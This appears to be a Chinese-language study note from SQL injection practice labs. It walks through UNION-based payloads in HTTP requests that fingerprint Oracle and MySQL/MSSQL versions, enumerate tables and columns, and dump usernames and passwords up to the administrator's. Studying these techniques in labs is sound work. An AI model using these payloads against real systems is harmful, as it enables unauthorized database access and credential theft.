SQLi for Examining the DB

為了利用 SQL 注入漏洞,通常需要尋找有關資料庫的資訊,像是數據庫類型與版本,以及資料表信息

取得數據庫類型

各數據庫查詢版本的方法:

OracleSELECT banner FROM v$version
SELECT version FROM v$instance
Microsoft / MySQLSELECT @@version
PostgreSQLSELECT version()

舉例來說,如果發現有漏洞

可用以下sql測試數據庫是否為oracle以及其版本

GET /filter?category=Accessories'+UNION+SELECT+BANNER,+NULL+FROM+v$version-- HTTP/1.1

也可用以下sql測試數據庫是否為mysql或microsoft及其版本

GET /filter?category=Accessories'+UNION+SELECT+@@version,+NULL# HTTP/1.1

Lab:
SQL injection attack, querying the database type and version on Oracle
SQL injection attack, querying the database type and version on MySQL and Microsoft

取得資料表信息

non-oracle

包含像是Microsoft SQL Server,PostgreSQL,MySQL,常用語法如下

  • SELECT * FROM information_schema.tables
  • SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

假設目標網站非Oracle,可用參考以下方式取得敏感信息

使用以下測試時發現category參數sqli漏洞

GET /filter?category=Accessories'-- HTTP/1.1

檢測有幾個欄位可顯示,以下結果確認2個不報錯

GET /filter?category=Accessories'+union+select+null,null-- HTTP/1.1

檢測那些欄位有數據,以下結果確認2個欄位都有

GET /filter?category=Accessories'+UNION+SELECT+'abc','def'-- HTTP/1.1

用以下語法找出所有table

GET /filter?category=Accessories'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables-- HTTP/1.1

返回內容發現users_icgasr,用以下語法找該表欄位

GET /filter?category=Accessories'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name=%27users_icgasr%27-- HTTP/1.1

返回內容發現username_usnobp和password_bdwaxs欄位,用以下語法找該欄位信息以取得帳戶密碼

GET /filter?category=Accessories'+UNION+SELECT+username_usnobp,password_bdwaxs+FROM+users_icgasr-- HTTP/1.1

返回內容可以找到administrator的密碼

Lab: SQL injection attack, listing the database contents on non-Oracle databases

oracle

常用語法如下

  • SELECT * FROM all_tables
  • SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'

假設目標網站為Oracle,可用參考以下方式取得敏感信息

測試時發現category參數sqli漏洞後,檢測有幾個欄位可顯示,發現2個不報錯

GET /filter?category=Accessories'+union+select+null,null+FROM+dual-- HTTP/1.1

檢測哪些欄位有數據,發現2個欄位都有

GET /filter?category=Accessories'+UNION+SELECT+'abc','def'+FROM+dual-- HTTP/1.1

找出所有table

GET /filter?category=Accessories'+UNION+SELECT+table_name,NULL+FROM+all_tables-- HTTP/1.1

發現USERS_VNPRUT,找該表欄位

GET /filter?category=Accessories'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name=%27USERS_VNPRUT%27-- HTTP/1.1

發現USERNAME_HLFULL和PASSWORD_GWJJKC欄位,找該欄位信息以取得帳戶密碼

GET /filter?category=Accessories'+UNION+SELECT+USERNAME_HLFULL,PASSWORD_GWJJKC+FROM+USERS_VNPRUT-- HTTP/1.1

結果可以找到administrator的密碼

Lab: SQL injection attack, listing the database contents on Oracle